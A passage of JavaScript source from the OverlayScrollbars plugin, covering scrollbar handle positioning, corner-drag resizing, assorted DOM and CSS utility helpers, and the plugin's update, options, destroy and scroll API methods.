var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var strTranslateBrace = 'translate(';
var strTransform = VENDORS._cssProperty('transform');
var strTransition = VENDORS._cssProperty('transition');
var nativeScroll = isHorizontal ? _viewportElement[_strScrollLeft]() : _viewportElement[_strScrollTop]();
var currentScroll = scrollOrTransition === undefined || transition ? nativeScroll : scrollOrTransition;
//measure the handle length to respect min & max length
var handleLength = scrollbarVarsInfo._handleLength;
var trackLength = scrollbarVars._track[0]['offset' + scrollbarVars._Width_Height];
var handleTrackDiff = trackLength - handleLength;
var handleCSS = {};
var transformOffset;
var translateValue;
//DONT use the variable '_contentScrollSizeCache[scrollbarVars._w_h]' instead of '_viewportElement[0]['scroll' + scrollbarVars._Width_Height]'
// because its a bit behind during the small delay when content size updates
//(delay = mutationObserverContentLag, if its 0 then this var could be used)
var maxScroll = (_viewportElementNative[_strScroll + scrollbarVars._Width_Height] - _viewportElementNative['client' + scrollbarVars._Width_Height]) * (_rtlScrollBehavior.n && isRTLisHorizontal ? -1 : 1); //* -1 if rtl scroll max is negative
var getScrollRatio = function (base) {
return isNaN(base / maxScroll) ? 0 : MATH.max(0, MATH.min(1, base / maxScroll));
};
var getHandleOffset = function (scrollRatio) {
var offset = handleTrackDiff * scrollRatio;
offset = isNaN(offset) ? 0 : offset;
offset = (isRTLisHorizontal && !_rtlScrollBehavior.i) ? (trackLength - handleLength - offset) : offset;
offset = MATH.max(0, offset);
return offset;
};
var scrollRatio = getScrollRatio(nativeScroll);
var unsnappedScrollRatio = getScrollRatio(currentScroll);
var handleOffset = getHandleOffset(unsnappedScrollRatio);
var snappedHandleOffset = getHandleOffset(scrollRatio);
scrollbarVarsInfo._maxScroll = maxScroll;
scrollbarVarsInfo._currentScroll = nativeScroll;
scrollbarVarsInfo._currentScrollRatio = scrollRatio;
if (_supportTransform) {
transformOffset = isRTLisHorizontal ? -(trackLength - handleLength - handleOffset) : handleOffset; //in px
//transformOffset = (transformOffset / trackLength * 100) * (trackLength / handleLength); //in %
translateValue = isHorizontal ? strTranslateBrace + transformOffset + 'px, 0)' : strTranslateBrace + '0, ' + transformOffset + 'px)';
handleCSS[strTransform] = translateValue;
//apply or clear up transition
if (_supportTransition)
handleCSS[strTransition] = transition && MATH.abs(handleOffset - scrollbarVarsInfo._handleOffset) > 1 ? getCSSTransitionString(scrollbarVars._handle) + ', ' + (strTransform + _strSpace + transitionDuration + 'ms') : _strEmpty;
}
else
handleCSS[scrollbarVars._left_top] = handleOffset;
//only apply css if offset has changed and overflow exists.
if (!nativeOverlayScrollbarsAreActive()) {
scrollbarVars._handle.css(handleCSS);
//clear up transition
if (_supportTransform && _supportTransition && transition) {
scrollbarVars._handle.one(_strTransitionEndEvent, function () {
if (!_destroyed)
scrollbarVars._handle.css(strTransition, _strEmpty);
});
}
}
scrollbarVarsInfo._handleOffset = handleOffset;
scrollbarVarsInfo._snappedHandleOffset = snappedHandleOffset;
scrollbarVarsInfo._trackLength = trackLength;
}
/**
* Refreshes the interactivity of the given scrollbar element.
* @param isTrack True if the track element is the target, false if the handle element is the target.
* @param value True for interactivity false for no interactivity.
*/
function refreshScrollbarsInteractive(isTrack, value) {
var action = value ? 'removeClass' : 'addClass';
var element1 = isTrack ? _scrollbarHorizontalTrackElement : _scrollbarHorizontalHandleElement;
var element2 = isTrack ? _scrollbarVerticalTrackElement : _scrollbarVerticalHandleElement;
var className = isTrack ? _classNameScrollbarTrackOff : _classNameScrollbarHandleOff;
element1[action](className);
element2[action](className);
}
/**
* Returns a object which is used for fast access for specific variables.
* @param isHorizontal True if the horizontal scrollbar vars shall be accessed, false if the vertical scrollbar vars shall be accessed.
* @returns {{wh: string, WH: string, lt: string, _wh: string, _lt: string, t: *, h: *, c: {}, s: *}}
*/
function getScrollbarVars(isHorizontal) {
return {
_width_height: isHorizontal ? _strWidth : _strHeight,
_Width_Height: isHorizontal ? 'Width' : 'Height',
_left_top: isHorizontal ? _strLeft : _strTop,
_Left_Top: isHorizontal ? 'Left' : 'Top',
_x_y: isHorizontal ? _strX : _strY,
_X_Y: isHorizontal ? 'X' : 'Y',
_w_h: isHorizontal ? 'w' : 'h',
_l_t: isHorizontal ? 'l' : 't',
_track: isHorizontal ? _scrollbarHorizontalTrackElement : _scrollbarVerticalTrackElement,
_handle: isHorizontal ? _scrollbarHorizontalHandleElement : _scrollbarVerticalHandleElement,
_scrollbar: isHorizontal ? _scrollbarHorizontalElement : _scrollbarVerticalElement,
_info: isHorizontal ? _scrollHorizontalInfo : _scrollVerticalInfo
};
}
//==== Scrollbar Corner ====//
/**
* Builds or destroys the scrollbar corner DOM element.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupScrollbarCornerDOM(destroy) {
_scrollbarCornerElement = _scrollbarCornerElement || selectOrGenerateDivByClass(_classNameScrollbarCorner, true);
if (!destroy) {
if (!_domExists) {
_hostElement.append(_scrollbarCornerElement);
}
}
else {
if (_domExists && _initialized) {
removeClass(_scrollbarCornerElement.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
}
else {
remove(_scrollbarCornerElement);
}
}
}
/**
* Initializes all scrollbar corner interactivity events.
*/
function setupScrollbarCornerEvents() {
var insideIFrame = _windowElementNative.top !== _windowElementNative;
var mouseDownPosition = {};
var mouseDownSize = {};
var mouseDownInvertedScale = {};
var reconnectMutationObserver;
function documentDragMove(event) {
if (onMouseTouchDownContinue(event)) {
var pageOffset = getCoordinates(event);
var hostElementCSS = {};
if (_resizeHorizontal || _resizeBoth)
hostElementCSS[_strWidth] = (mouseDownSize.w + (pageOffset.x - mouseDownPosition.x) * mouseDownInvertedScale.x);
if (_resizeVertical || _resizeBoth)
hostElementCSS[_strHeight] = (mouseDownSize.h + (pageOffset.y - mouseDownPosition.y) * mouseDownInvertedScale.y);
_hostElement.css(hostElementCSS);
COMPATIBILITY.stpP(event);
}
else {
documentMouseTouchUp(event);
}
}
function documentMouseTouchUp(event) {
var eventIsTrusted = event !== undefined;
setupResponsiveEventListener(_documentElement,
[_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],
[documentOnSelectStart, documentDragMove, documentMouseTouchUp],
true);
removeClass(_bodyElement, _classNameDragging);
if (_scrollbarCornerElement.releaseCapture)
_scrollbarCornerElement.releaseCapture();
if (eventIsTrusted) {
if (reconnectMutationObserver)
connectMutationObservers();
_base.update(_strAuto);
}
reconnectMutationObserver = false;
}
function onMouseTouchDownContinue(event) {
var originalEvent = event.originalEvent || event;
var isTouchEvent = originalEvent.touches !== undefined;
return _sleeping || _destroyed ? false : COMPATIBILITY.mBtn(event) === 1 || isTouchEvent;
}
function getCoordinates(event) {
return _msieVersion && insideIFrame ? { x: event.screenX, y: event.screenY } : COMPATIBILITY.page(event);
}
addDestroyEventListener(_scrollbarCornerElement, _strMouseTouchDownEvent, function (event) {
if (onMouseTouchDownContinue(event) && !_resizeNone) {
if (_mutationObserversConnected) {
reconnectMutationObserver = true;
disconnectMutationObservers();
}
mouseDownPosition = getCoordinates(event);
mouseDownSize.w = _hostElementNative[LEXICON.oW] - (!_isBorderBox ? _paddingX : 0);
mouseDownSize.h = _hostElementNative[LEXICON.oH] - (!_isBorderBox ? _paddingY : 0);
mouseDownInvertedScale = getHostElementInvertedScale();
setupResponsiveEventListener(_documentElement,
[_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],
[documentOnSelectStart, documentDragMove, documentMouseTouchUp]);
addClass(_bodyElement, _classNameDragging);
if (_scrollbarCornerElement.setCapture)
_scrollbarCornerElement.setCapture();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
});
}
//==== Utils ====//
/**
* Calls the callback with the given name. The Context of this callback is always _base (this).
* @param name The name of the target which shall be called.
* @param args The args with which the callback shall be called.
* @param dependent Boolean which decides whether the callback shall be fired, undefined is like a "true" value.
*/
function dispatchCallback(name, args, dependent) {
if (dependent === false)
return;
if (_initialized) {
var callback = _currentPreparedOptions.callbacks[name];
var extensionOnName = name;
var ext;
if (extensionOnName.substr(0, 2) === 'on')
extensionOnName = extensionOnName.substr(2, 1).toLowerCase() + extensionOnName.substr(3);
if (type(callback) == TYPES.f)
callback.call(_base, args);
each(_extensions, function () {
ext = this;
if (type(ext.on) == TYPES.f)
ext.on(extensionOnName, args);
});
}
else if (!_destroyed)
_callbacksInitQeueue.push({ n: name, a: args });
}
/**
* Sets the "top, right, bottom, left" properties, with a given prefix, of the given css object.
* @param targetCSSObject The css object to which the values shall be applied.
* @param prefix The prefix of the "top, right, bottom, left" css properties. (example: 'padding-' is a valid prefix)
* @param values A array of values which shall be applied to the "top, right, bottom, left" -properties. The array order is [top, right, bottom, left].
* If this argument is undefined the value '' (empty string) will be applied to all properties.
*/
function setTopRightBottomLeft(targetCSSObject, prefix, values) {
prefix = prefix || _strEmpty;
values = values || [_strEmpty, _strEmpty, _strEmpty, _strEmpty];
targetCSSObject[prefix + _strTop] = values[0];
targetCSSObject[prefix + _strRight] = values[1];
targetCSSObject[prefix + _strBottom] = values[2];
targetCSSObject[prefix + _strLeft] = values[3];
}
/**
* Gets the "top, right, bottom, left" CSS properties of the CSS property with the given prefix from the host element.
* @param prefix The prefix of the "top, right, bottom, left" css properties. (example: 'padding-' is a valid prefix)
* @param suffix The suffix of the "top, right, bottom, left" css properties. (example: 'border-' is a valid prefix with '-width' is a valid suffix)
* @param zeroX True if the x axis shall be 0.
* @param zeroY True if the y axis shall be 0.
* @returns {{}} The object which contains the numbers of the read CSS properties.
*/
function getTopRightBottomLeftHost(prefix, suffix, zeroX, zeroY) {
suffix = suffix || _strEmpty;
prefix = prefix || _strEmpty;
return {
t: zeroY ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strTop + suffix)),
r: zeroX ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strRight + suffix)),
b: zeroY ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strBottom + suffix)),
l: zeroX ? 0 : parseToZeroOrNumber(_hostElement.css(prefix + _strLeft + suffix))
};
}
/**
* Returns the computed CSS transition string from the given element.
* @param element The element from which the transition string shall be returned.
* @returns {string} The CSS transition string from the given element.
*/
function getCSSTransitionString(element) {
var transitionStr = VENDORS._cssProperty('transition');
var assembledValue = element.css(transitionStr);
if (assembledValue)
return assembledValue;
var regExpString = '\\s*(' + '([^,(]+(\\(.+?\\))?)+' + ')[\\s,]*';
var regExpMain = new RegExp(regExpString);
var regExpValidate = new RegExp('^(' + regExpString + ')+$');
var properties = 'property duration timing-function delay'.split(' ');
var result = [];
var strResult;
var valueArray;
var i = 0;
var j;
var splitCssStyleByComma = function (str) {
strResult = [];
if (!str.match(regExpValidate))
return str;
while (str.match(regExpMain)) {
strResult.push(RegExp.$1);
str = str.replace(regExpMain, _strEmpty);
}
return strResult;
};
for (; i < properties[LEXICON.l]; i++) {
valueArray = splitCssStyleByComma(element.css(transitionStr + '-' + properties[i]));
for (j = 0; j < valueArray[LEXICON.l]; j++)
result[j] = (result[j] ? result[j] + _strSpace : _strEmpty) + valueArray[j];
}
return result.join(', ');
}
/**
* Generates a Regular Expression which matches with a string which starts with 'os-host'.
* @param {boolean} withCurrClassNameOption The Regular Expression also matches if the string is the current ClassName option (multiple values splitted by space possible).
* @param {boolean} withOldClassNameOption The Regular Expression also matches if the string is the old ClassName option (multiple values splitted by space possible).
*/
function createHostClassNameRegExp(withCurrClassNameOption, withOldClassNameOption) {
var i;
var split;
var appendix;
var appendClasses = function (classes, condition) {
appendix = '';
if (condition && typeof classes == TYPES.s) {
split = classes.split(_strSpace);
for (i = 0; i < split[LEXICON.l]; i++)
appendix += '|' + split[i] + '$';
// split[i].replace(/[.*+?^${}()|[\]\\]/g, '\\$&') for escaping regex characters
}
return appendix;
};
return new RegExp(
'(^' + _classNameHostElement + '([-_].+|)$)' +
appendClasses(_classNameCache, withCurrClassNameOption) +
appendClasses(_oldClassName, withOldClassNameOption), 'g');
}
/**
* Calculates the host-elements inverted scale. (invertedScale = 1 / scale)
* @returns {{x: number, y: number}} The scale of the host-element.
*/
function getHostElementInvertedScale() {
var rect = _paddingElementNative[LEXICON.bCR]();
return {
x: _supportTransform ? 1 / (MATH.round(rect.width) / _paddingElementNative[LEXICON.oW]) || 1 : 1,
y: _supportTransform ? 1 / (MATH.round(rect.height) / _paddingElementNative[LEXICON.oH]) || 1 : 1
};
}
/**
* Checks whether the given object is a HTMLElement.
* @param o The object which shall be checked.
* @returns {boolean} True the given object is a HTMLElement, false otherwise.
*/
function isHTMLElement(o) {
var strOwnerDocument = 'ownerDocument';
var strHTMLElement = 'HTMLElement';
var wnd = o && o[strOwnerDocument] ? (o[strOwnerDocument].parentWindow || window) : window;
return (
typeof wnd[strHTMLElement] == TYPES.o ? o instanceof wnd[strHTMLElement] : //DOM2
o && typeof o == TYPES.o && o !== null && o.nodeType === 1 && typeof o.nodeName == TYPES.s
);
}
/**
* Compares 2 arrays and returns the differences between them as a array.
* @param a1 The first array which shall be compared.
* @param a2 The second array which shall be compared.
* @returns {Array} The differences between the two arrays.
*/
function getArrayDifferences(a1, a2) {
var a = [];
var diff = [];
var i;
var k;
for (i = 0; i < a1.length; i++)
a[a1[i]] = true;
for (i = 0; i < a2.length; i++) {
if (a[a2[i]])
delete a[a2[i]];
else
a[a2[i]] = true;
}
for (k in a)
diff.push(k);
return diff;
}
/**
* Returns Zero or the number to which the value can be parsed.
* @param value The value which shall be parsed.
* @param toFloat Indicates whether the number shall be parsed to a float.
*/
function parseToZeroOrNumber(value, toFloat) {
var num = toFloat ? parseFloat(value) : parseInt(value, 10);
return isNaN(num) ? 0 : num;
}
/**
* Gets several information of the textarea and returns them as a object or undefined if the browser doesn't support it.
* @returns {{cursorRow: Number, cursorCol, rows: Number, cols: number, wRow: number, pos: number, max : number}} or undefined if not supported.
*/
function getTextareaInfo() {
//read needed values
var textareaCursorPosition = _targetElementNative.selectionStart;
if (textareaCursorPosition === undefined)
return;
var textareaValue = _targetElement.val();
var textareaLength = textareaValue[LEXICON.l];
var textareaRowSplit = textareaValue.split('\n');
var textareaLastRow = textareaRowSplit[LEXICON.l];
var textareaCurrentCursorRowSplit = textareaValue.substr(0, textareaCursorPosition).split('\n');
var widestRow = 0;
var textareaLastCol = 0;
var cursorRow = textareaCurrentCursorRowSplit[LEXICON.l];
var cursorCol = textareaCurrentCursorRowSplit[textareaCurrentCursorRowSplit[LEXICON.l] - 1][LEXICON.l];
var rowCols;
var i;
//get widest Row and the last column of the textarea
for (i = 0; i < textareaRowSplit[LEXICON.l]; i++) {
rowCols = textareaRowSplit[i][LEXICON.l];
if (rowCols > textareaLastCol) {
widestRow = i + 1;
textareaLastCol = rowCols;
}
}
return {
_cursorRow: cursorRow, //cursorRow
_cursorColumn: cursorCol, //cursorCol
_rows: textareaLastRow, //rows
_columns: textareaLastCol, //cols
_widestRow: widestRow, //wRow
_cursorPosition: textareaCursorPosition, //pos
_cursorMax: textareaLength //max
};
}
/**
* Determines whether native overlay scrollbars are active.
* @returns {boolean} True if native overlay scrollbars are active, false otherwise.
*/
function nativeOverlayScrollbarsAreActive() {
return (_ignoreOverlayScrollbarHidingCache && (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y));
}
/**
* Gets the element which is used to measure the content size.
* @returns {*} TextareaCover if target element is textarea else the ContentElement.
*/
function getContentMeasureElement() {
return _isTextarea ? _textareaCoverElement[0] : _contentElementNative;
}
/**
* Generates a string which represents a HTML div with the given classes or attributes.
* @param classesOrAttrs The class of the div as string or a object which represents the attributes of the div. (The class attribute can also be written as "className".)
* @param content The content of the div as string.
* @returns {string} The concated string which represents a HTML div and its content.
*/
function generateDiv(classesOrAttrs, content) {
return '<div ' + (classesOrAttrs ? type(classesOrAttrs) == TYPES.s ?
'class="' + classesOrAttrs + '"' :
(function () {
var key;
var attrs = _strEmpty;
if (FRAMEWORK.isPlainObject(classesOrAttrs)) {
for (key in classesOrAttrs)
attrs += (key === 'c' ? 'class' : key) + '="' + classesOrAttrs[key] + '" ';
}
return attrs;
})() :
_strEmpty) +
'>' +
(content || _strEmpty) +
'</div>';
}
/**
* Selects or generates a div with the given class attribute.
* @param className The class names (divided by spaces) of the div which shall be selected or generated.
* @param selectParentOrOnlyChildren The parent element from which of the element shall be selected. (if undefined or boolean its hostElement)
* If its a boolean it decides whether only the children of the host element shall be selected.
* @returns {*} The generated or selected element.
*/
function selectOrGenerateDivByClass(className, selectParentOrOnlyChildren) {
var onlyChildren = type(selectParentOrOnlyChildren) == TYPES.b;
var selectParent = onlyChildren ? _hostElement : (selectParentOrOnlyChildren || _hostElement);
return (_domExists && !selectParent[LEXICON.l])
? null
: _domExists
? selectParent[onlyChildren ? 'children' : 'find'](_strDot + className.replace(/\s/g, _strDot)).eq(0)
: FRAMEWORK(generateDiv(className))
}
/**
* Gets the value of the given property from the given object.
* @param obj The object from which the property value shall be got.
* @param path The property of which the value shall be got.
* @returns {*} Returns the value of the searched property or undefined of the property wasn't found.
*/
function getObjectPropVal(obj, path) {
var splits = path.split(_strDot);
var i = 0;
var val;
for (; i < splits.length; i++) {
if (!obj[LEXICON.hOP](splits[i]))
return;
val = obj[splits[i]];
if (i < splits.length && type(val) == TYPES.o)
obj = val;
}
return val;
}
/**
* Sets the value of the given property from the given object.
* @param obj The object from which the property value shall be set.
* @param path The property of which the value shall be set.
* @param val The value of the property which shall be set.
*/
function setObjectPropVal(obj, path, val) {
var splits = path.split(_strDot);
var splitsLength = splits.length;
var i = 0;
var extendObj = {};
var extendObjRoot = extendObj;
for (; i < splitsLength; i++)
extendObj = extendObj[splits[i]] = i + 1 < splitsLength ? {} : val;
FRAMEWORK.extend(obj, extendObjRoot, true);
}
/**
* Runs a action for each selector inside the updateOnLoad option.
* @param {Function} action The action for each updateOnLoad selector, the arguments the function takes is the index and the value (the selector).
*/
function eachUpdateOnLoad(action) {
var updateOnLoad = _currentPreparedOptions.updateOnLoad;
updateOnLoad = type(updateOnLoad) == TYPES.s ? updateOnLoad.split(_strSpace) : updateOnLoad;
if (COMPATIBILITY.isA(updateOnLoad) && !_destroyed) {
each(updateOnLoad, action);
}
}
//==== Utils Cache ====//
/**
* Compares two values or objects and returns true if they aren't equal.
* @param current The first value or object which shall be compared.
* @param cache The second value or object which shall be compared.
* @param force If true the returned value is always true.
* @returns {boolean} True if both values or objects aren't equal or force is true, false otherwise.
*/
function checkCache(current, cache, force) {
if (force)
return force;
if (type(current) == TYPES.o && type(cache) == TYPES.o) {
for (var prop in current) {
if (prop !== 'c') {
if (current[LEXICON.hOP](prop) && cache[LEXICON.hOP](prop)) {
if (checkCache(current[prop], cache[prop]))
return true;
}
else {
return true;
}
}
}
}
else {
return current !== cache;
}
return false;
}
//==== Shortcuts ====//
/**
* jQuery extend method shortcut with a appended "true" as first argument.
*/
function extendDeep() {
return FRAMEWORK.extend.apply(this, [true].concat([].slice.call(arguments)));
}
/**
* jQuery addClass method shortcut.
*/
function addClass(el, classes) {
return _frameworkProto.addClass.call(el, classes);
}
/**
* jQuery removeClass method shortcut.
*/
function removeClass(el, classes) {
return _frameworkProto.removeClass.call(el, classes);
}
/**
* Adds or removes the given classes dependent on the boolean value. True for add, false for remove.
*/
function addRemoveClass(el, classes, doAdd) {
return doAdd ? addClass(el, classes) : removeClass(el, classes);
}
/**
* jQuery remove method shortcut.
*/
function remove(el) {
return _frameworkProto.remove.call(el);
}
/**
* Finds the first child element with the given selector of the given element.
* @param el The root element from which the selector shall be valid.
* @param selector The selector of the searched element.
* @returns {*} The first element which is a child of the given element and matches the givens selector.
*/
function findFirst(el, selector) {
return _frameworkProto.find.call(el, selector).eq(0);
}
//==== API ====//
/**
* Puts the instance to sleep. It wont respond to any changes in the DOM and won't update. Scrollbar Interactivity is also disabled as well as the resize handle.
* This behavior can be reset by calling the update method.
*/
_base.sleep = function () {
_sleeping = true;
};
/**
* Updates the plugin and DOM to the current options.
* This method should only be called if a update is 100% required.
* @param force True if every property shall be updated and the cache shall be ignored.
* !INTERNAL USAGE! : force can be a string "auto", "sync" or "zoom" too
* if "auto" then before a real update the content size and host element attributes gets checked, and if they changed only then the update method will be called.
* if "sync" then the async update process (MutationObserver or UpdateLoop) gets synchronized and a corresponding update takes place if one was needed due to pending changes.
* if "zoom" then a update takes place where it's assumed that content and host size changed
* @returns {boolean|undefined}
* If force is "sync" then a boolean is returned which indicates whether a update was needed due to pending changes.
* If force is "auto" then a boolean is returned whether a update was needed due to attribute or size changes.
* undefined otherwise.
*/
_base.update = function (force) {
if (_destroyed)
return;
var attrsChanged;
var contentSizeC;
var isString = type(force) == TYPES.s;
var doUpdateAuto;
var mutHost;
var mutContent;
if (isString) {
if (force === _strAuto) {
attrsChanged = meaningfulAttrsChanged();
contentSizeC = updateAutoContentSizeChanged();
doUpdateAuto = attrsChanged || contentSizeC;
if (doUpdateAuto) {
update({
_contentSizeChanged: contentSizeC,
_changedOptions: _initialized ? undefined : _currentPreparedOptions
});
}
}
else if (force === _strSync) {
if (_mutationObserversConnected) {
mutHost = _mutationObserverHostCallback(_mutationObserverHost.takeRecords());
mutContent = _mutationObserverContentCallback(_mutationObserverContent.takeRecords());
}
else {
mutHost = _base.update(_strAuto);
}
}
else if (force === 'zoom') {
update({
_hostSizeChanged: true,
_contentSizeChanged: true
});
}
}
else {
force = _sleeping || force;
_sleeping = false;
if (!_base.update(_strSync) || force)
update({ _force: force });
}
updateElementsOnLoad();
return doUpdateAuto || mutHost || mutContent;
};
/**
Gets or sets the current options. The update method will be called automatically if new options were set.
* @param newOptions If new options are given, then the new options will be set, if new options aren't given (undefined or a not a plain object) then the current options will be returned.
* @param value If new options is a property path string, then this value will be used to set the option to which the property path string leads.
* @returns {*}
*/
_base.options = function (newOptions, value) {
var option = {};
var changedOps;
//return current options if newOptions are undefined or empty
if (FRAMEWORK.isEmptyObject(newOptions) || !FRAMEWORK.isPlainObject(newOptions)) {
if (type(newOptions) == TYPES.s) {
if (arguments.length > 1) {
setObjectPropVal(option, newOptions, value);
changedOps = setOptions(option);
}
else
return getObjectPropVal(_currentOptions, newOptions);
}
else
return _currentOptions;
}
else {
changedOps = setOptions(newOptions);
}
if (!FRAMEWORK.isEmptyObject(changedOps)) {
update({ _changedOptions: changedOps });
}
};
/**
* Restore the DOM, disconnects all observers, remove all resize observers and put the instance to sleep.
*/
_base.destroy = function () {
if (_destroyed)
return;
//remove this instance from auto update loop
autoUpdateLoop.remove(_base);
//disconnect all mutation observers
disconnectMutationObservers();
//remove all resize observers
setupResizeObserver(_sizeObserverElement);
setupResizeObserver(_sizeAutoObserverElement);
//remove all extensions
for (var extName in _extensions)
_base.removeExt(extName);
//remove all 'destroy' events
while (_destroyEvents[LEXICON.l] > 0)
_destroyEvents.pop()();
//remove all events from host element
setupHostMouseTouchEvents(true);
//remove all helper / detection elements
if (_contentGlueElement)
remove(_contentGlueElement);
if (_contentArrangeElement)
remove(_contentArrangeElement);
if (_sizeAutoObserverAdded)
remove(_sizeAutoObserverElement);
//remove all generated DOM
setupScrollbarsDOM(true);
setupScrollbarCornerDOM(true);
setupStructureDOM(true);
//remove all generated image load events
for (var i = 0; i < _updateOnLoadElms[LEXICON.l]; i++)
FRAMEWORK(_updateOnLoadElms[i]).off(_updateOnLoadEventName, updateOnLoadCallback);
_updateOnLoadElms = undefined;
_destroyed = true;
_sleeping = true;
//remove this instance from the instances list
INSTANCES(pluginTargetElement, 0);
dispatchCallback('onDestroyed');
//remove all properties and methods
//for (var property in _base)
// delete _base[property];
//_base = undefined;
};
/**
* Scrolls to a given position or element.
* @param coordinates
* 1. Can be "coordinates" which looks like:
* { x : ?, y : ? } OR Object with x and y properties
* { left : ?, top : ? } OR Object with left and top properties
* { l : ?, t : ? } OR Object with l and t properties
* [ ?, ? ] OR Array where the first two element are the coordinates (first is x, second is y)
* ? A single value which stays for both axis
* A value can be a number, a string or a calculation.
*
* Operators:
* [NONE] The current scroll will be overwritten by the value.
* '+=' The value will be added to the current scroll offset
* '-=' The value will be subtracted from the current scroll offset
* '*=' The current scroll wil be multiplicated by the value.
* '/=' The current scroll wil be divided by the value.
*
* Units:
* [NONE] The value is the final scroll amount. final = (value * 1)
* 'px' Same as none
* '%' The value is dependent on the current scroll value. final = ((currentScrollValue / 100) * value)
* 'vw' The value is multiplicated by the viewport width. final = (value * viewportWidth)
* 'vh' The value is multiplicated by the viewport height. final = (value * viewportHeight)
*
* example final values:
* 200, '200px', '50%', '1vw', '1vh', '+=200', '/=1vw', '*=2px', '-=5vh', '+=33%', '+= 50% - 2px', '-= 1vw - 50%'
*
* 2. Can be a HTML or jQuery element:
* The final scroll offset is the offset (without margin) of the given HTML / jQuery element.
*
* 3. Can be a object with a HTML or jQuery element with additional settings:
* {
* el : [HTMLElement, jQuery element], MUST be specified, else this object isn't valid.
* scroll : [string, array, object], Default value is 'always'.
* block : [string, array, object], Default value is 'begin'.
* margin : [number, boolean, array, object] Default value is false.
* }
*
* Possible scroll settings are:
* 'always' Scrolls always.
* 'ifneeded' Scrolls only if the element isnt fully in view.
* 'never' Scrolls never.
*
* Possible block settings are:
* 'begin' Both axis shall be docked to the "begin" edge. - The element will be docked to the top and left edge of the viewport.
* 'end' Both axis shall be docked to the "end" edge. - The element will be docked to the bottom and right edge of the viewport. (If direction is RTL to the bottom and left edge.)
* 'center' Both axis shall be docked to "center". - The element will be centered in the viewport.
* 'nearest' The element will be docked to the nearest edge(s).
*
* Possible margin settings are: -- The actual margin of the element wont be affect, this option affects only the final scroll offset.
* [BOOLEAN] If true the css margin of the element will be used, if false no margin will be used.
* [NUMBER] The margin will be used for all edges.
*
* @param duration The duration of the scroll animation, OR a jQuery animation configuration object.
* @param easing The animation easing.
* @param complete The animation complete callback.
* @returns {{
* position: {x: number, y: number},
* ratio: {x: number, y: number},
* max: {x: number, y: number},
* handleOffset: {x: number, y: number},
* handleLength: {x: number, y: number},
* handleLengthRatio: {x: number, y: number}, t
* rackLength: {x: number, y: number},
* isRTL: boolean,
* isRTLNormalized: boolean
* }}
*/
_base.scroll = function (coordinates, duration, easing, complete) {
if (arguments.length === 0 || coordinates === undefined) {
var infoX = _scrollHorizontalInfo;
var infoY = _scrollVerticalInfo;
var normalizeInvert = _normalizeRTLCache && _isRTL && _rtlScrollBehavior.i;
var normalizeNegate = _normalizeRTLCache && _isRTL && _rtlScrollBehavior.n;
var scrollX = infoX._currentScroll;
var scrollXRatio = infoX._currentScrollRatio;
var maxScrollX = infoX._maxScroll;
scrollXRatio = normalizeInvert ? 1 - scrollXRatio : scrollXRatio;
scrollX = normalizeInvert ? maxScrollX - scrollX : scrollX;
scrollX *= normalizeNegate ? -1 : 1;
maxScrollX *= normalizeNegate ? -1 : 1;
return {
position: {
x: scrollX,
y: infoY._currentScroll
},
ratio: {
x: scrollXRatio,
y: infoY._currentScrollRatio
},
max: {
x: maxScrollX,
y: infoY._maxScroll
},
handleOffset: {
x: infoX._handleOffset,
y: infoY._handleOffset
},
handleLength: {
x: infoX._handleLength,
y: infoY._handleLength
},
handleLengthRatio: {
x: infoX._handleLengthRatio,
y: infoY._handleLengthRatio
},
trackLength: {
x: infoX._trackLength,
y: infoY._trackLength
},
snappedHandleOffset: {
x: infoX._snappedHandleOffset,
y: infoY._snappedHandleOffset
},
isRTL: _isRTL,
isRTLNormalized: _normalizeRTLCache
};
}
_base.update(_strSync);
var normalizeRTL = _normalizeRTLCache;
var coordinatesXAxisProps = [_strX, _strLeft, 'l'];
var coordinatesYAxisProps = [_strY, _strTop, 't'];
var coordinatesOperators = ['+=', '-=', '*=', '/='];
var durationIsObject = type(duration) == TYPES.o;
var completeCallback = durationIsObject ? duration.complete : complete;
var i;
var finalScroll = {};
var specialEasing = {};
var doScrollLeft;
var doScrollTop;
var animationOptions;
var strEnd = 'end';
var strBegin = 'begin';
var strCenter = 'center';
var strNearest = 'nearest';
var strAlways = 'always';
var strNever = 'never';
var strIfNeeded = 'ifneeded';
var strLength = LEXICON.l;
var settingsAxis;
var settingsScroll;
var settingsBlock;
var settingsMargin;
var finalElement;
var elementObjSettingsAxisValues = [_strX, _strY, 'xy', 'yx'];
var elementObjSettingsBlockValues = [strBegin, strEnd, strCenter, strNearest];
var elementObjSettingsScrollValues = [strAlways, strNever, strIfNeeded];
var coordinatesIsElementObj = coordinates[LEXICON.hOP]('el');
var possibleElement = coordinatesIsElementObj ? coordinates.el : coordinates;
var possibleElementIsJQuery = possibleElement instanceof FRAMEWORK || JQUERY ? possibleElement instanceof JQUERY : false;
var possibleElementIsHTMLElement = possibleElementIsJQuery ? false : isHTMLElement(possibleElement);
var updateScrollbarInfos = function () {
if (doScrollLeft)
refreshScrollbarHandleOffset(true);
if (doScrollTop)
refreshScrollbarHandleOffset(false);
};
var proxyCompleteCallback = type(completeCallback) != TYPES.f ? undefined : function () {
updateScrollbarInfos();
completeCallback();
};
function checkSettingsStringValue(currValue, allowedValues) {
for (i = 0; i < allowedValues[strLength]; i++) {
if (currValue === allowedValues[i])
return true;
}
return false;
}
function getRawScroll(isX, coordinates) {
var coordinateProps = isX ? coordinatesXAxisProps : coordinatesYAxisProps;
coordinates = type(coordinates) == TYPES.s || type(coordinates) == TYPES.n ? [coordinates, coordinates] : coordinates;
if (COMPATIBILITY.isA(coordinates))
return isX ? coordinates[0] : coordinates[1];
else if (type(coordinates) == TYPES.o) {
//decides RTL normalization "hack" with .n
//normalizeRTL = type(coordinates.n) == TYPES.b ? coordinates.n : normalizeRTL;
for (i = 0; i < coordinateProps[strLength]; i++)
if (coordinateProps[i] in coordinates)
return coordinates[coordinateProps[i]];
}
}
function getFinalScroll(isX, rawScroll) {
var isString = type(rawScroll) == TYPES.s;
